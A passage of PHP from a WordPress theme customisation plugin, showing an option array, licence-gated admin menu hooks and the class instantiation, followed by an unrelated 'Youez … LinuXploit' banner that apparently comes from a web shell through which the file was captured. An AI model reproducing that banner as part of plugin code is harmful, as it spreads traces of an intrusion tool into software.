        'popup_content' => array(
          'image' => '',
          'text' => __('This option replaces content just underneath the <i>Content</i>.','becstm')
        )
      )
    );

    if( $this->mfn_is_registered() ) {
      //menu & subpages
      add_action( 'admin_menu', array( $this, 'add_menu'), 20);
      add_action( 'init', array( $this, 'load_subpages' ), 1 );
    }else{
      add_filter( 'becustom_check_without_register',  array( $this, 'becustom_check_without_register' ), 1, 3);
    }
  }
}

new Be_custom();

Youez - 2016 - github.com/yon3zu
LinuXploit